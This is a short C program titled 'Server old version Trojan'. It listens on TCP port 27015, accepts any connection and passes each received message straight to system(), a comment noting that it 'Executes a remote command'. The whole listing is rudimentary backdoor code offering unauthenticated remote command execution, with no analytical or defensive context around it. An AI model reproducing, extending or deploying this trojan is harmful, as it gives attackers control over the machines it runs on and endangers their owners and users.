Server old version Trojan

#include <stdio.h>
02  #include "winsock2.h"
03
04  int main() {
05
06
07      // Initialize Winsock.
08      WSADATA wsaData;
09      int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
10      if ( iResult != NO_ERROR )
11          printf("Error at WSAStartup()\n");
12
13      // Create a socket.
14      SOCKET m_socket;
15      m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
16
17      if ( m_socket == INVALID_SOCKET ) {
18          printf( "Error at socket(): %ld\n", WSAGetLastError() );
19          WSACleanup();
20          return 1;
21      }
22
23      // Bind the socket.
24      sockaddr_in service;
25
26      service.sin_family = AF_INET;
27      service.sin_addr.s_addr = htonl(INADDR_ANY);
28      service.sin_port = htons( 27015 );
29
30      if ( bind( m_socket, (SOCKADDR*) &service, sizeof(service) ) == SOCKET_ERROR ) {
31          printf( "bind() failed.\n" );
32          closesocket(m_socket);
33          return 1;
34      }
35
36      // Listen on the socket.
37      if ( listen( m_socket, 1 ) == SOCKET_ERROR )
38          printf( "Error listening on socket.\n");
39
40      // Accept connections.
41      SOCKET AcceptSocket;
42
43      printf( "Waiting for a client to connect to server...\n" );
44      while (1) {
45          AcceptSocket = SOCKET_ERROR;
46          while ( AcceptSocket == SOCKET_ERROR ) {
47              AcceptSocket = accept( m_socket, NULL, NULL );
48          }
49          printf( "Client Connected.\n");
50          m_socket = AcceptSocket;
51
52          while(1)
53          {
54          char recvbuf[32] = "";
55          char sendbuf[32] = "Command executed\n\n";
56          recv( m_socket, recvbuf, 32, 0 );
57          system(recvbuf);  // Executes a remote command
58
59          send( m_socket, sendbuf, strlen(sendbuf), 0 );
60
61
62          }
63
64      }
65
66
67
68
69
70
71      return 1;
72  }